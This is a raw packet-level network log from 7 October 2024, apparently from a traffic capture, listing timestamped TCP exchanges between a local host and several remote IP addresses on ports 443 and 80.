Oct 7, 2024 03:23:31.757909060 CEST	61109	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.757926941 CEST	443	61109	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.757937908 CEST	61109	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.757945061 CEST	443	61109	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.815881014 CEST	443	61112	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.816037893 CEST	443	61111	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.816111088 CEST	443	61111	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.816184044 CEST	61111	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.816207886 CEST	443	61111	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.816231012 CEST	443	61111	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.816344976 CEST	61111	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.816502094 CEST	443	61112	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.816680908 CEST	61112	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.819255114 CEST	443	61110	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.819432020 CEST	443	61110	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.820605993 CEST	61110	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.837438107 CEST	61112	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.837455034 CEST	443	61112	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.837466955 CEST	61112	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.837475061 CEST	443	61112	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.847511053 CEST	61111	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.847511053 CEST	61111	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.847532988 CEST	443	61111	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.847546101 CEST	443	61111	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.848160028 CEST	61110	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.848167896 CEST	443	61110	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.851989031 CEST	61116	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.852009058 CEST	443	61116	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.852510929 CEST	61116	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.853291035 CEST	61117	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.853343010 CEST	443	61117	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.854151964 CEST	61117	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.900485039 CEST	61116	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.900500059 CEST	443	61116	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.901422977 CEST	61117	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.901444912 CEST	443	61117	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.911866903 CEST	61118	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.911885977 CEST	443	61118	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.911973953 CEST	61118	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.912122011 CEST	61118	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.912133932 CEST	443	61118	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.913326025 CEST	61119	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.913348913 CEST	443	61119	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.913397074 CEST	61119	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.913624048 CEST	61119	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.913636923 CEST	443	61119	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.348572016 CEST	80	61114	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:32.348629951 CEST	61114	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:32.377208948 CEST	443	61115	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.377756119 CEST	61115	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.377772093 CEST	443	61115	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.378268003 CEST	61115	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.378273964 CEST	443	61115	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.478091955 CEST	443	61115	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.478240013 CEST	443	61115	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.478411913 CEST	61115	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.478509903 CEST	61115	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.478509903 CEST	61115	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.478519917 CEST	443	61115	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.478528023 CEST	443	61115	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.480565071 CEST	61121	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.480634928 CEST	443	61121	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.480716944 CEST	61121	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.480844975 CEST	61121	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.480874062 CEST	443	61121	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.531547070 CEST	443	61117	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.532107115 CEST	61117	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.532120943 CEST	443	61117	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.532548904 CEST	61117	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.532555103 CEST	443	61117	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.563014030 CEST	443	61118	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.563632965 CEST	61118	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.563643932 CEST	443	61118	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.570463896 CEST	61118	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.570468903 CEST	443	61118	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.577439070 CEST	443	61119	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.577827930 CEST	61119	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.577850103 CEST	443	61119	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.578291893 CEST	61119	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.578296900 CEST	443	61119	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.633052111 CEST	443	61117	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.633153915 CEST	443	61117	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.633188963 CEST	443	61117	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.633245945 CEST	61117	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.633316994 CEST	61117	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.633331060 CEST	443	61117	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.633342981 CEST	61117	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.633348942 CEST	443	61117	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.635992050 CEST	61122	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.636018991 CEST	443	61122	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.636101961 CEST	61122	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.636260033 CEST	61122	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.636286974 CEST	443	61122	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.646883965 CEST	443	61116	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.647248983 CEST	61116	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.647264004 CEST	443	61116	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.647702932 CEST	61116	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.647706032 CEST	443	61116	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.666656017 CEST	443	61118	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.666838884 CEST	443	61118	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.667023897 CEST	61118	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.667048931 CEST	61118	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.667056084 CEST	443	61118	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.667068005 CEST	61118	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.667073011 CEST	443	61118	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.669857979 CEST	61123	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.669899940 CEST	443	61123	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.669986010 CEST	61123	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.670449018 CEST	61123	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.670461893 CEST	443	61123	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.680263042 CEST	443	61119	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.680351973 CEST	443	61119	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.680445910 CEST	443	61119	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.680455923 CEST	61119	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.680502892 CEST	61119	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.680541039 CEST	61119	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.680552959 CEST	443	61119	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.680562019 CEST	61119	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.680566072 CEST	443	61119	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.683012009 CEST	61124	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.683027983 CEST	443	61124	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.683098078 CEST	61124	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.683228970 CEST	61124	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.683240891 CEST	443	61124	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.745130062 CEST	443	61116	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.745254993 CEST	443	61116	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.745315075 CEST	61116	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.745347977 CEST	61116	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.745356083 CEST	443	61116	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.745362997 CEST	61116	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.745368004 CEST	443	61116	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.747629881 CEST	61125	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.747642994 CEST	443	61125	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:32.747713089 CEST	61125	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.747942924 CEST	61125	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:32.747953892 CEST	443	61125	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.149425030 CEST	443	61121	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.153390884 CEST	61121	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.153450966 CEST	443	61121	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.153824091 CEST	61121	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.153837919 CEST	443	61121	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.252800941 CEST	443	61121	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.252955914 CEST	443	61121	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.253015995 CEST	61121	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.260380983 CEST	61121	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.260380983 CEST	61121	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.260395050 CEST	443	61121	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.260406017 CEST	443	61121	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.278816938 CEST	443	61122	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.285253048 CEST	61122	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.285284042 CEST	443	61122	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.285657883 CEST	61122	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.285689116 CEST	443	61122	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.292277098 CEST	61126	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.292319059 CEST	443	61126	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.292541981 CEST	61126	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.292743921 CEST	61126	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.292756081 CEST	443	61126	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.308640003 CEST	443	61123	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.309196949 CEST	61123	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.309206009 CEST	443	61123	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.309437990 CEST	61123	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.309442043 CEST	443	61123	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.335905075 CEST	443	61124	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.336329937 CEST	61124	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.336349010 CEST	443	61124	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.336793900 CEST	61124	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.336797953 CEST	443	61124	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.389580011 CEST	443	61122	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.389602900 CEST	443	61122	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.389672995 CEST	443	61122	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.389727116 CEST	61122	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.392791986 CEST	443	61125	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.398097038 CEST	61122	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.398097038 CEST	61122	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.398128986 CEST	443	61122	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.398147106 CEST	443	61122	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.398745060 CEST	61125	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.398777962 CEST	443	61125	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.399204969 CEST	61125	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.399224997 CEST	443	61125	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.404875994 CEST	61127	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.404903889 CEST	443	61127	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.404974937 CEST	61127	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.407021046 CEST	61127	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.407031059 CEST	443	61127	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.407032967 CEST	443	61123	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.407123089 CEST	443	61123	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.407161951 CEST	61123	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.407316923 CEST	61123	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.407325029 CEST	443	61123	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.407392979 CEST	61123	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.407397032 CEST	443	61123	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.410875082 CEST	61128	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.410959005 CEST	443	61128	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.411144018 CEST	61128	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.411328077 CEST	61128	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.411364079 CEST	443	61128	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.435873985 CEST	443	61124	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.436016083 CEST	443	61124	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.436058998 CEST	61124	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.436378956 CEST	61124	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.436391115 CEST	443	61124	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.440397978 CEST	61129	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.440479994 CEST	443	61129	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.440876007 CEST	61129	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.441102028 CEST	61129	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.441121101 CEST	443	61129	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.494582891 CEST	443	61125	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.494822979 CEST	443	61125	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.494966984 CEST	61125	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.527131081 CEST	61125	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.527131081 CEST	61125	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.527153969 CEST	443	61125	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.527165890 CEST	443	61125	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.654268980 CEST	61130	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.654360056 CEST	443	61130	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.654434919 CEST	61130	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.662517071 CEST	61130	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:33.662552118 CEST	443	61130	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:33.778877020 CEST	61131	80	192.168.2.4	185.215.113.37
Oct 7, 2024 03:23:33.783714056 CEST	80	61131	185.215.113.37	192.168.2.4
Oct 7, 2024 03:23:33.783791065 CEST	61131	80	192.168.2.4	185.215.113.37
Oct 7, 2024 03:23:33.784095049 CEST	61131	80	192.168.2.4	185.215.113.37
Oct 7, 2024 03:23:33.788955927 CEST	80	61131	185.215.113.37	192.168.2.4
Oct 7, 2024 03:23:34.044445992 CEST	61114	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:34.044723034 CEST	61132	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:34.049566031 CEST	80	61114	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:34.049608946 CEST	80	61132	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:34.049683094 CEST	61114	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:34.049716949 CEST	61132	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:34.050471067 CEST	443	61128	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.051592112 CEST	61132	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:34.052062988 CEST	61128	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.052124977 CEST	443	61128	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.052551985 CEST	61128	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.052606106 CEST	443	61128	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.056355953 CEST	80	61132	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:34.065685987 CEST	443	61127	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.067760944 CEST	61127	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.067775011 CEST	443	61127	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.068183899 CEST	61127	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.068188906 CEST	443	61127	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.104804993 CEST	443	61129	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.105212927 CEST	61129	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.105263948 CEST	443	61129	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.105650902 CEST	61129	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.105657101 CEST	443	61129	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.149075985 CEST	443	61128	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.149224997 CEST	443	61128	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.149319887 CEST	61128	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.168905020 CEST	443	61127	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.168967009 CEST	443	61127	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.170871019 CEST	61127	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.207685947 CEST	443	61129	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.207806110 CEST	443	61129	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.210885048 CEST	61129	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.217854977 CEST	61128	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.217854977 CEST	61128	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.217907906 CEST	443	61128	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.217936039 CEST	443	61128	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.219444036 CEST	61127	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.219465017 CEST	443	61127	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.219495058 CEST	61127	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.219500065 CEST	443	61127	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.220288038 CEST	61129	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.220329046 CEST	443	61129	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.220380068 CEST	61129	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.220401049 CEST	443	61129	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.312453032 CEST	443	61130	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.359230995 CEST	61130	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.368665934 CEST	61130	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.368685007 CEST	443	61130	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.369308949 CEST	61130	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.369321108 CEST	443	61130	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.388894081 CEST	61133	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.388940096 CEST	443	61133	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.389223099 CEST	61133	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.389703989 CEST	61133	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.389719009 CEST	443	61133	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.390506983 CEST	61134	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.390516996 CEST	443	61134	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.390594006 CEST	61134	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.390707016 CEST	61134	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.390714884 CEST	443	61134	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.391904116 CEST	61135	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.391927958 CEST	443	61135	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.391987085 CEST	61135	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.392123938 CEST	61135	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.392136097 CEST	443	61135	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.465711117 CEST	443	61130	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.465910912 CEST	443	61130	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.466249943 CEST	61130	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.466418982 CEST	61130	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.466449976 CEST	443	61130	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.466475010 CEST	61130	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.466487885 CEST	443	61130	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.469496965 CEST	61136	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.469527960 CEST	443	61136	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.469784975 CEST	61136	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.470004082 CEST	61136	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:34.470017910 CEST	443	61136	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:34.498110056 CEST	80	61131	185.215.113.37	192.168.2.4
Oct 7, 2024 03:23:34.498970032 CEST	61131	80	192.168.2.4	185.215.113.37
Oct 7, 2024 03:23:34.504707098 CEST	61131	80	192.168.2.4	185.215.113.37
Oct 7, 2024 03:23:34.509522915 CEST	80	61131	185.215.113.37	192.168.2.4
Oct 7, 2024 03:23:34.740411043 CEST	80	61131	185.215.113.37	192.168.2.4
Oct 7, 2024 03:23:34.740482092 CEST	61131	80	192.168.2.4	185.215.113.37
Oct 7, 2024 03:23:34.750972986 CEST	80	61132	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:34.751111984 CEST	61132	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:35.022623062 CEST	443	61133	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.023081064 CEST	61133	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.023101091 CEST	443	61133	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.023591995 CEST	61133	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.023597002 CEST	443	61133	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.029117107 CEST	443	61134	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.029480934 CEST	61134	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.029494047 CEST	443	61134	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.030015945 CEST	61134	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.030019999 CEST	443	61134	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.066854000 CEST	443	61135	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.070766926 CEST	61135	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.070786953 CEST	443	61135	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.071353912 CEST	61135	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.071360111 CEST	443	61135	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.106518984 CEST	443	61136	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.106936932 CEST	61136	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.106977940 CEST	443	61136	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.107588053 CEST	61136	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.107594967 CEST	443	61136	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.127635002 CEST	443	61134	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.127798080 CEST	443	61134	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.127886057 CEST	61134	443	192.168.2.4	13.107.246.45
